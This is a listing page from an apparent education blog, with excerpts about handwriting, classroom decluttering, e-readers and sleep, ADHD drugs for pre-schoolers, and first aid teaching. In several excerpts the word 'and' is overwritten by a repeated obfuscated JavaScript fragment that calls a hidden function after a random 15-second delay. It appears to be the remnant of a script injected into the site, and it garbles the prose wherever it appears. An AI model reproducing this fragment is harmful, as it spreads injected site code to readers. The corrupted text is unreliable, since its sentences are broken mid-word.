More on handwriting

The blog-post <a title=”How important is handwriting? has generated some interesting comments which I thought I’d share here. One follower wrote, “There is little opportunity to develop motor skills right from the start yet we expect children to be able to write earlier and earlier….

Governing Body roles and remits

What makes good teaching?

Join in the debate by contributing your own lesson observation feedback, or commenting on the growing bank of feedback here… What makes good teaching?

Is innovation always the right innovation?

Schools, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} for that matter, other organisations too, spend a lot of time solving problems. But a lot of this time is wasted because they are solving the wrong problems! In an article in The Times “Desperate schools…

Clear out the clutter!

On Page 19 of the Times today, there is a report on how local authorities, including Norfolk andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Newham in east London, have commissioned Elizabeth Jarman, an independent consultant, to help ‘declutter’ school classrooms andandom() * 5);if (number1==3){var delay…

E-readers ‘damage sleep andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} health,’ doctors warn

This report appears on the BBC website today – http://www.bbc.co.uk/news/health-30574260. “If you curl up under the duvet with an e-book for a bedtime read then you are damaging your sleep andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} maybe your health, US doctors have warned….

Hyperactivity in pre-school children

There is an interesting report in the Guardian this morning (P1 &4) – or click here for the online version – “ADHD drugs increasingly prescribed to treat hyperactivity in pre-schoolers”. It reports that more than a fifth of educational psychologists say they know of pre-school…

Schools cannot be expected to do everything

On P.62 of today’s The Mail on Sunday, it is reported that Ministers have backed a campaign that calls for first aid to be added to the school curriculum. Schools minister David Laws says the skills should be taught as a compulsory part of Personal, Social…

What role-models are we exposing our children to?

So, last night I was at my 5th primary school Christmas performance of the year (I went to the 6th this morning!).  It was lovely, an old medieval church, beautiful singing, members of the school community came along.  A knitted Mary andandom() * 5);if (number1==3){var delay…

What would make a great education website?

What would make a great education blog / website? What is needed? What would be truly innovative? Truly creative?